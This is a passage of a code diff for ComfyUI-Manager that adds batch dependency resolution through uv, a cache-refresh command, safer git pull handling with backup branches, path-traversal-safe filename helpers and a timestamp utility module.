print("----------------------------------------------------------------------------------------------------")
|
||||
print(f"Restoring [{i}/{total}]: {x}")
|
||||
unified_manager.execute_install_script('', x, instant_execution=True)
|
||||
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
|
||||
i += 1
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1139,9 +1304,21 @@ def install_deps(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
if not os.path.exists(deps):
|
||||
@@ -1161,14 +1338,114 @@ def install_deps(
|
||||
if state == 'installed':
|
||||
continue
|
||||
elif state == 'not-installed':
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True))
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
|
||||
else: # disabled
|
||||
core.gitclone_set_active([k], False)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
print("Dependency installation and activation complete.")
|
||||
|
||||
|
||||
def _finalize_resolve(pip_fixer, uv_compile) -> None:
|
||||
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
|
||||
if uv_compile:
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
else:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
def _run_unified_resolve():
|
||||
"""Shared logic for unified batch dependency resolution."""
|
||||
from comfyui_manager.common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
attribute_conflicts,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
|
||||
if not node_pack_paths:
|
||||
print("[bold yellow]No custom node packs found.[/bold yellow]")
|
||||
return
|
||||
|
||||
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
|
||||
|
||||
resolver = UnifiedDepResolver(
|
||||
node_pack_paths=node_pack_paths,
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=cm_global.pip_blacklist,
|
||||
overrides=cm_global.pip_overrides,
|
||||
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
|
||||
)
|
||||
try:
|
||||
result = resolver.resolve_and_install()
|
||||
except UvNotAvailableError:
|
||||
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if result.success:
|
||||
collected = result.collected
|
||||
if collected:
|
||||
print(
|
||||
f"[bold green]Resolved {len(collected.requirements)} deps "
|
||||
f"from {len(collected.sources)} source(s) "
|
||||
f"(skipped {len(collected.skipped)}).[/bold green]"
|
||||
)
|
||||
else:
|
||||
print("[bold green]Resolution complete (no deps needed).[/bold green]")
|
||||
else:
|
||||
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
|
||||
if result.lockfile and result.lockfile.conflicts and result.collected:
|
||||
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
|
||||
if attributed:
|
||||
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
|
||||
for pkg_name, requesters in sorted(attributed.items()):
|
||||
print(f" [yellow]{pkg_name}[/yellow]:")
|
||||
for pack_path, pkg_spec in requesters:
|
||||
print(f" {os.path.basename(pack_path)} → {pkg_spec}")
|
||||
raise typer.Exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"uv-sync",
|
||||
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
|
||||
)
|
||||
def unified_uv_compile(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Unexpected error: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
|
||||
def clear():
|
||||
cancel()
|
||||
@@ -1197,21 +1474,104 @@ def export_custom_node_ids(
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
with open(path, "w", encoding='utf-8') as output_file:
|
||||
# Export CNR package IDs using cnr_utils
|
||||
try:
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
for package_id in all_cnr.keys():
|
||||
print(package_id, file=output_file)
|
||||
except Exception:
|
||||
# If CNR lookup fails, continue with installed packages
|
||||
pass
|
||||
for x in unified_manager.cnr_map.keys():
|
||||
print(x, file=output_file)
|
||||
|
||||
# Export installed packages that are not from CNR
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_unknown or pack.is_nightly:
|
||||
version_suffix = "@unknown" if pack.is_unknown else "@nightly"
|
||||
print(f"{pack.id}{version_suffix}", file=output_file)
|
||||
custom_nodes = asyncio.run(unified_manager.get_custom_nodes(channel=cmd_ctx.channel, mode=cmd_ctx.mode))
|
||||
for x in custom_nodes.values():
|
||||
if 'cnr_latest' not in x:
|
||||
if len(x['files']) == 1:
|
||||
repo_url = x['files'][0]
|
||||
node_id = repo_url.split('/')[-1]
|
||||
print(f"{node_id}@unknown", file=output_file)
|
||||
|
||||
if 'id' in x:
|
||||
print(f"{x['id']}@unknown", file=output_file)
|
||||
|
||||
|
||||
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
|
||||
def update_cache(
|
||||
channel: Annotated[
|
||||
str,
|
||||
typer.Option(
|
||||
show_default=False,
|
||||
help="Specify the channel"
|
||||
),
|
||||
] = None,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
if channel is not None:
|
||||
cmd_ctx.channel = channel
|
||||
|
||||
asyncio.run(_force_update_cache(cmd_ctx.channel))
|
||||
|
||||
|
||||
async def _force_update_cache(channel):
|
||||
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
|
||||
core.refresh_channel_dict()
|
||||
config = core.get_config()
|
||||
channel_url = config['channel_url']
|
||||
|
||||
os.makedirs(manager_util.cache_dir, exist_ok=True)
|
||||
|
||||
failed = []
|
||||
|
||||
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
|
||||
filenames = [
|
||||
"custom-node-list.json",
|
||||
"extension-node-map.json",
|
||||
"model-list.json",
|
||||
"alter-list.json",
|
||||
"github-stats.json",
|
||||
]
|
||||
|
||||
async def fetch_and_cache(filename):
|
||||
try:
|
||||
if config.get('default_cache_as_channel_url'):
|
||||
uri = f"{channel_url}/{filename}"
|
||||
else:
|
||||
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
|
||||
|
||||
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
json_obj = await manager_util.get_data(uri, silent=True)
|
||||
|
||||
with manager_util.cache_lock:
|
||||
with open(cache_uri, "w", encoding='utf-8') as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
|
||||
print(f" [CACHED] {filename}")
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
|
||||
failed.append(filename)
|
||||
|
||||
print("Fetching channel data...")
|
||||
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
|
||||
|
||||
# Step 2: Reload unified_manager with remote mode
|
||||
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
|
||||
# which bypasses the dont_wait block and triggers blocking fetch_all()
|
||||
print("Fetching CNR registry data...")
|
||||
try:
|
||||
await unified_manager.reload('remote', dont_wait=False)
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
|
||||
failed.append("CNR registry")
|
||||
|
||||
# Step 3: Load nightly data (cache files now exist from Step 1)
|
||||
print("Loading nightly data...")
|
||||
await unified_manager.load_nightly(channel or 'default', 'cache')
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("[bold green]Cache update complete.[/bold green]")
|
||||
|
||||
|
||||
def main():
|
||||
@@ -55,9 +55,10 @@ def should_be_disabled(fullpath:str) -> bool:
|
||||
def get_client_ip(request):
|
||||
peername = request.transport.get_extra_info("peername")
|
||||
if peername is not None:
|
||||
host, port = peername
|
||||
# Grab the first two values - there can be more, ie. with --listen
|
||||
host, port = peername[:2]
|
||||
return host
|
||||
|
||||
|
||||
return "unknown"
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
from .timestamp_utils import (
|
||||
current_timestamp,
|
||||
get_timestamp_for_filename,
|
||||
get_timestamp_for_path,
|
||||
get_backup_branch_name,
|
||||
get_now,
|
||||
get_unix_timestamp,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
'current_timestamp',
|
||||
'get_timestamp_for_filename',
|
||||
'get_timestamp_for_path',
|
||||
'get_backup_branch_name',
|
||||
'get_now',
|
||||
'get_unix_timestamp',
|
||||
]
|
||||
|
||||
@@ -34,11 +34,6 @@ variables = {}
|
||||
APIs = {}
|
||||
|
||||
|
||||
pip_overrides = {}
|
||||
pip_blacklist = {}
|
||||
pip_downgrade_blacklist = {}
|
||||
|
||||
|
||||
def register_api(k, f):
|
||||
global APIs
|
||||
APIs[k] = f
|
||||
|
||||
@@ -12,10 +12,6 @@ from . import manager_util
|
||||
import requests
|
||||
import toml
|
||||
import logging
|
||||
from . import git_utils
|
||||
from cachetools import TTLCache, cached
|
||||
|
||||
query_ttl_cache = TTLCache(maxsize=100, ttl=60)
|
||||
|
||||
base_url = "https://api.comfy.org"
|
||||
|
||||
@@ -24,29 +20,6 @@ lock = asyncio.Lock()
|
||||
|
||||
is_cache_loading = False
|
||||
|
||||
|
||||
def normalize_package_name(name: str) -> str:
|
||||
"""
|
||||
Normalize package name for case-insensitive matching.
|
||||
|
||||
This follows the same normalization pattern used throughout CNR:
|
||||
- Strip leading/trailing whitespace
|
||||
- Convert to lowercase
|
||||
|
||||
Args:
|
||||
name: Package name to normalize (e.g., "ComfyUI_SigmoidOffsetScheduler" or " NodeName ")
|
||||
|
||||
Returns:
|
||||
Normalized package name (e.g., "comfyui_sigmoidoffsetscheduler")
|
||||
|
||||
Examples:
|
||||
>>> normalize_package_name("ComfyUI_SigmoidOffsetScheduler")
|
||||
"comfyui_sigmoidoffsetscheduler"
|
||||
>>> normalize_package_name(" NodeName ")
|
||||
"nodename"
|
||||
"""
|
||||
return name.strip().lower()
|
||||
|
||||
async def get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
try:
|
||||
return await _get_cnr_data(cache_mode, dont_wait)
|
||||
@@ -64,6 +37,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
page = 1
|
||||
|
||||
full_nodes = {}
|
||||
|
||||
|
||||
# Determine form factor based on environment and platform
|
||||
is_desktop = bool(os.environ.get('__COMFYUI_DESKTOP_VERSION__'))
|
||||
@@ -95,7 +69,10 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
form_factor = 'git-linux'
|
||||
else:
|
||||
form_factor = 'other'
|
||||
|
||||
|
||||
from comfyui_manager.glob import manager_core
|
||||
verbose = manager_core.get_config().get('verbose', False)
|
||||
|
||||
while remained:
|
||||
# Add comfyui_version and form_factor to the API request
|
||||
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
|
||||
@@ -105,7 +82,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
|
||||
for x in sub_json_obj['nodes']:
|
||||
full_nodes[x['id']] = x
|
||||
|
||||
if page % 5 == 0:
|
||||
if page % 5 == 0 and verbose:
|
||||
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
|
||||
|
||||
page += 1
|
||||
@@ -164,7 +141,7 @@ def map_node_version(api_node_version):
|
||||
Maps node version data from API response to NodeVersion dataclass.
|
||||
|
||||
Args:
|
||||
api_node_version (dict): The 'node_version' part of the API response.
|
||||
api_data (dict): The 'node_version' part of the API response.
|
||||
|
||||
Returns:
|
||||
NodeVersion: An instance of NodeVersion dataclass populated with data from the API.
|
||||
@@ -215,80 +192,6 @@ def install_node(node_id, version=None):
|
||||
return None
|
||||
|
||||
|
||||
@cached(query_ttl_cache)
|
||||
def get_nodepack(packname):
|
||||
"""
|
||||
Retrieves the nodepack
|
||||
|
||||
Args:
|
||||
packname (str): The unique identifier of the node.
|
||||
|
||||
Returns:
|
||||
nodepack info {id, latest_version}
|
||||
"""
|
||||
url = f"{base_url}/nodes/{packname}"
|
||||
|
||||
response = requests.get(url, verify=not manager_util.bypass_ssl)
|
||||
if response.status_code == 200:
|
||||
info = response.json()
|
||||
|
||||
res = {
|
||||
'id': info['id']
|
||||
}
|
||||
|
||||
if 'latest_version' in info:
|
||||
res['latest_version'] = info['latest_version']['version']
|
||||
|
||||
if 'repository' in info:
|
||||
res['repository'] = info['repository']
|
||||
|
||||
return res
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
@cached(query_ttl_cache)
|
||||
def get_nodepack_by_url(url):
|
||||
"""
|
||||
Retrieves the nodepack info for installation.
|
||||
|
||||
Args:
|
||||
url (str): The unique identifier of the node.
|
||||
|
||||
Returns:
|
||||
NodeVersion: Node version data or error message.
|
||||
"""
|
||||
|
||||
# example query: https://api.comfy.org/nodes/search?repository_url_search=ltdrdata/ComfyUI-Impact-Pack&limit=1
|
||||
url = f"nodes/search?repository_url_search={url}&limit=1"
|
||||
|
||||
response = requests.get(url, verify=not manager_util.bypass_ssl)
|
||||
if response.status_code == 200:
|
||||
# Convert the API response to a NodeVersion object
|
||||
info = response.json().get('nodes', [])
|
||||
if len(info) > 0:
|
||||
info = info[0]
|
||||
repo_url = info['repository']
|
||||
|
||||
if git_utils.compact_url(url) != git_utils.compact_url(repo_url):
|
||||
return None
|
||||
|
||||
res = {
|
||||
'id': info['id']
|
||||
}
|
||||
|
||||
if 'latest_version' in info:
|
||||
res['latest_version'] = info['latest_version']['version']
|
||||
|
||||
res['repository'] = info['repository']
|
||||
|
||||
return res
|
||||
else:
|
||||
return None
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
def all_versions_of_node(node_id):
|
||||
url = f"{base_url}/nodes/{node_id}/versions?statuses=NodeVersionStatusActive&statuses=NodeVersionStatusPending"
|
||||
|
||||
@@ -311,7 +214,8 @@ def read_cnr_info(fullpath):
|
||||
data = toml.load(f)
|
||||
|
||||
project = data.get('project', {})
|
||||
name = project.get('name').strip()
|
||||
name = project.get('name').strip().lower()
|
||||
original_name = project.get('name')
|
||||
|
||||
# normalize version
|
||||
# for example: 2.5 -> 2.5.0
|
||||
@@ -323,6 +227,7 @@ def read_cnr_info(fullpath):
|
||||
if name and version: # repository is optional
|
||||
return {
|
||||
"id": name,
|
||||
"original_name": original_name,
|
||||
"version": version,
|
||||
"url": repository
|
||||
}
|
||||
@@ -352,3 +257,4 @@ def read_cnr_id(fullpath):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ if comfy_base_path is None:
|
||||
comfy_base_path = comfy_path
|
||||
|
||||
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "git_helper.py")
|
||||
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
|
||||
|
||||
manager_files_path = None
|
||||
manager_config_path = None
|
||||
@@ -31,10 +31,9 @@ manager_startup_script_path:str = None
|
||||
manager_snapshot_path = None
|
||||
manager_pip_overrides_path = None
|
||||
manager_pip_blacklist_path = None
|
||||
manager_components_path = None
|
||||
manager_batch_history_path = None
|
||||
|
||||
def update_user_directory(user_dir):
|
||||
def update_user_directory(manager_dir):
|
||||
global manager_files_path
|
||||
global manager_config_path
|
||||
global manager_channel_list_path
|
||||
@@ -42,10 +41,9 @@ def update_user_directory(user_dir):
|
||||
global manager_snapshot_path
|
||||
global manager_pip_overrides_path
|
||||
global manager_pip_blacklist_path
|
||||
global manager_components_path
|
||||
global manager_batch_history_path
|
||||
|
||||
manager_files_path = os.path.abspath(os.path.join(user_dir, 'default', 'ComfyUI-Manager'))
|
||||
manager_files_path = manager_dir
|
||||
if not os.path.exists(manager_files_path):
|
||||
os.makedirs(manager_files_path)
|
||||
|
||||
@@ -61,7 +59,6 @@ def update_user_directory(user_dir):
|
||||
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
manager_components_path = os.path.join(manager_files_path, "components")
|
||||
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
|
||||
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
|
||||
|
||||
@@ -73,7 +70,7 @@ def update_user_directory(user_dir):
|
||||
|
||||
try:
|
||||
import folder_paths
|
||||
update_user_directory(folder_paths.get_user_directory())
|
||||
update_user_directory(folder_paths.get_system_user_directory("manager"))
|
||||
|
||||
except Exception:
|
||||
# fallback:
|
||||
|
||||
@@ -50,9 +50,6 @@ working_directory = os.getcwd()
|
||||
|
||||
if os.path.basename(working_directory) != 'custom_nodes':
|
||||
print("WARN: This script should be executed in custom_nodes dir")
|
||||
print(f"DBG: INFO {working_directory}")
|
||||
print(f"DBG: INFO {sys.argv}")
|
||||
# exit(-1)
|
||||
|
||||
|
||||
class GitProgress(RemoteProgress):
|
||||
@@ -67,14 +64,60 @@ class GitProgress(RemoteProgress):
|
||||
self.pbar.refresh()
|
||||
|
||||
|
||||
def get_backup_branch_name(repo=None):
|
||||
"""Get backup branch name with current timestamp.
|
||||
|
||||
Inlined from timestamp_utils to keep git_helper.py standalone — this script
|
||||
runs as a subprocess on Windows and must not import from comfyui_manager.
|
||||
"""
|
||||
import time as _time
|
||||
import uuid as _uuid
|
||||
|
||||
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
|
||||
|
||||
if repo is None:
|
||||
return base_name
|
||||
|
||||
try:
|
||||
existing_branches = {b.name for b in repo.heads}
|
||||
except Exception:
|
||||
return base_name
|
||||
|
||||
if base_name not in existing_branches:
|
||||
return base_name
|
||||
|
||||
for i in range(1, 100):
|
||||
new_name = f'{base_name}_{i}'
|
||||
if new_name not in existing_branches:
|
||||
return new_name
|
||||
|
||||
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
|
||||
|
||||
|
||||
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
|
||||
repo_name = os.path.splitext(os.path.basename(url))[0]
|
||||
|
||||
if repo_path is None:
|
||||
repo_path = os.path.join(custom_nodes_path, repo_name)
|
||||
|
||||
# Clone the repository from the remote URL
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
|
||||
# On Windows, previous failed clones may leave directories with locked
|
||||
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
|
||||
# Rename stale directory out of the way so clone can proceed.
|
||||
if os.path.exists(repo_path):
|
||||
import shutil
|
||||
import uuid as _uuid
|
||||
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
|
||||
os.makedirs(trash_dir, exist_ok=True)
|
||||
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
|
||||
try:
|
||||
os.rename(repo_path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(repo_path, ignore_errors=True)
|
||||
|
||||
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
|
||||
progress = GitProgress() if sys.stderr.isatty() else None
|
||||
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=progress)
|
||||
|
||||
if target_hash is not None:
|
||||
print(f"CHECKOUT: {repo_name} [{target_hash}]")
|
||||
@@ -222,7 +265,14 @@ def gitpull(path):
|
||||
repo.close()
|
||||
return
|
||||
|
||||
remote.pull()
|
||||
try:
|
||||
repo.git.pull('--ff-only')
|
||||
except git.GitCommandError:
|
||||
backup_name = get_backup_branch_name(repo)
|
||||
repo.create_head(backup_name)
|
||||
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
|
||||
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
|
||||
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
|
||||
|
||||
repo.git.submodule('update', '--init', '--recursive')
|
||||
new_commit_hash = repo.head.commit.hexsha
|
||||
@@ -520,7 +570,9 @@ try:
|
||||
restore_pip_snapshot(pips, options)
|
||||
sys.exit(0)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
sys.exit(-1)
|
||||
print(e, file=sys.stderr)
|
||||
if hasattr(e, 'stderr') and e.stderr:
|
||||
print(e.stderr, file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
|
||||
@@ -74,17 +74,15 @@ def normalize_to_github_id(url) -> str:
|
||||
|
||||
return f"{author}/{repo_name}"
|
||||
|
||||
# Handle short format like "author/repo" (aux_id format)
|
||||
if '/' in url and not url.startswith('http'):
|
||||
parts = url.split('/')
|
||||
if len(parts) == 2 and parts[0] and parts[1]:
|
||||
return url
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def compact_url(url):
|
||||
github_id = normalize_to_github_id(url)
|
||||
if github_id is not None:
|
||||
return github_id
|
||||
|
||||
return url
|
||||
|
||||
|
||||
def get_url_for_clone(url):
|
||||
url = normalize_url(url)
|
||||
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
import os
|
||||
from enum import Enum
|
||||
from typing import Optional
|
||||
|
||||
is_personal_cloud_mode = False
|
||||
handler_policy = {}
|
||||
@@ -34,3 +36,35 @@ def add_handler_policy(x, policy):
|
||||
|
||||
|
||||
multiple_remote_alert = do_nothing
|
||||
|
||||
|
||||
def is_safe_path_target(target: str) -> bool:
|
||||
"""
|
||||
Check if target string is safe from path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename or identifier
|
||||
|
||||
Returns:
|
||||
True if safe, False if contains path traversal characters
|
||||
"""
|
||||
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
|
||||
"""
|
||||
Safely construct a file path, preventing path traversal attacks.
|
||||
|
||||
Args:
|
||||
target: User-provided filename (without extension)
|
||||
base_dir: Base directory path
|
||||
extension: File extension to append (default: ".json")
|
||||
|
||||
Returns:
|
||||
Safe file path or None if input contains path traversal attempts
|
||||
"""
|
||||
if not is_safe_path_target(target):
|
||||
return None
|
||||
return os.path.join(base_dir, f"{target}{extension}")
|
||||
|
||||
@@ -8,13 +8,13 @@ import aiohttp
|
||||
import json
|
||||
import threading
|
||||
import os
|
||||
from datetime import datetime
|
||||
import subprocess
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
import platform
|
||||
import shlex
|
||||
import time
|
||||
from functools import lru_cache
|
||||
|
||||
|
||||
@@ -25,6 +25,7 @@ comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '
|
||||
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
|
||||
|
||||
use_uv = False
|
||||
use_unified_resolver = False
|
||||
bypass_ssl = False
|
||||
|
||||
def is_manager_pip_package():
|
||||
@@ -176,7 +177,7 @@ def is_file_created_within_one_day(file_path):
|
||||
return False
|
||||
|
||||
file_creation_time = os.path.getctime(file_path)
|
||||
current_time = datetime.now().timestamp()
|
||||
current_time = time.time()
|
||||
time_difference = current_time - file_creation_time
|
||||
|
||||
return time_difference <= 86400
|
||||
|
||||
@@ -14,7 +14,6 @@ class InstalledNodePackage:
|
||||
fullpath: str
|
||||
disabled: bool
|
||||
version: str
|
||||
repo_url: str = None # Git repository URL for nightly packages
|
||||
|
||||
@property
|
||||
def is_unknown(self) -> bool:
|
||||
@@ -47,8 +46,6 @@ class InstalledNodePackage:
|
||||
|
||||
@staticmethod
|
||||
def from_fullpath(fullpath: str, resolve_from_path) -> InstalledNodePackage:
|
||||
from . import git_utils
|
||||
|
||||
parent_folder_name = os.path.basename(os.path.dirname(fullpath))
|
||||
module_name = os.path.basename(fullpath)
|
||||
|
||||
@@ -57,10 +54,6 @@ class InstalledNodePackage:
|
||||
disabled = True
|
||||
elif parent_folder_name == ".disabled":
|
||||
# Nodes under custom_nodes/.disabled/* are disabled
|
||||
# Parse directory name format: packagename@version
|
||||
# Examples:
|
||||
# comfyui_sigmoidoffsetscheduler@nightly → id: comfyui_sigmoidoffsetscheduler, version: nightly
|
||||
# comfyui_sigmoidoffsetscheduler@1_0_2 → id: comfyui_sigmoidoffsetscheduler, version: 1.0.2
|
||||
node_id = module_name
|
||||
disabled = True
|
||||
else:
|
||||
@@ -68,35 +61,12 @@ class InstalledNodePackage:
|
||||
disabled = False
|
||||
|
||||
info = resolve_from_path(fullpath)
|
||||
repo_url = None
|
||||
version_from_dirname = None
|
||||
|
||||
# For disabled packages, try to extract version from directory name
|
||||
if disabled and parent_folder_name == ".disabled" and '@' in module_name:
|
||||
parts = module_name.split('@')
|
||||
if len(parts) == 2:
|
||||
node_id = parts[0] # Use the normalized name from directory
|
||||
version_from_dirname = parts[1].replace('_', '.') # Convert 1_0_2 → 1.0.2
|
||||
|
||||
if info is None:
|
||||
version = version_from_dirname if version_from_dirname else 'unknown'
|
||||
version = 'unknown'
|
||||
else:
|
||||
node_id = info['id'] # robust module guessing
|
||||
# Prefer version from directory name for disabled packages (preserves 'nightly' literal)
|
||||
# Otherwise use version from package inspection (commit hash for git repos)
|
||||
if version_from_dirname:
|
||||
version = version_from_dirname
|
||||
else:
|
||||
version = info['ver']
|
||||
|
||||
# Get repository URL for both nightly and CNR packages
|
||||
if version == 'nightly':
|
||||
# For nightly packages, get repo URL from git
|
||||
repo_url = git_utils.git_url(fullpath)
|
||||
elif 'url' in info and info['url']:
|
||||
# For CNR packages, get repo URL from pyproject.toml
|
||||
repo_url = info['url']
|
||||
version = info['ver']
|
||||
|
||||
return InstalledNodePackage(
|
||||
id=node_id, fullpath=fullpath, disabled=disabled, version=version, repo_url=repo_url
|
||||
id=node_id, fullpath=fullpath, disabled=disabled, version=version
|
||||
)
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
"""
|
||||
Robust timestamp utilities with datetime fallback.
|
||||
|
||||
Some environments (especially Mac) have issues with the datetime module
|
||||
due to local file name conflicts or Homebrew Python module path issues.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import time as time_module
|
||||
import uuid
|
||||
|
||||
_datetime_available = None
|
||||
_dt_datetime = None
|
||||
|
||||
|
||||
def _init_datetime():
|
||||
"""Initialize datetime availability check (lazy, once)."""
|
||||
global _datetime_available, _dt_datetime
|
||||
if _datetime_available is not None:
|
||||
return
|
||||
|
||||
try:
|
||||
import datetime as dt
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
_dt_datetime = dt_datetime
|
||||
_datetime_available = True
|
||||
return
|
||||
except Exception as e:
|
||||
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
|
||||
|
||||
_datetime_available = False
|
||||
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
|
||||
|
||||
|
||||
def current_timestamp() -> str:
|
||||
"""
|
||||
Get current timestamp for logging.
|
||||
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
return str(time_module.time()).split('.')[0]
|
||||
|
||||
|
||||
def get_timestamp_for_filename() -> str:
|
||||
"""
|
||||
Get timestamp suitable for filenames.
|
||||
Format: YYYYMMDD_HHMMSS
|
||||
"""
|
||||
_init_datetime()
|
||||
if _datetime_available:
|
||||
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
return time_module.strftime('%Y%m%d_%H%M%S')
|
||||
|
||||
|
||||
def get_timestamp_for_path() -> str:
|
||||
"""
|
||||
Get timestamp for path/directory names.
|
||||
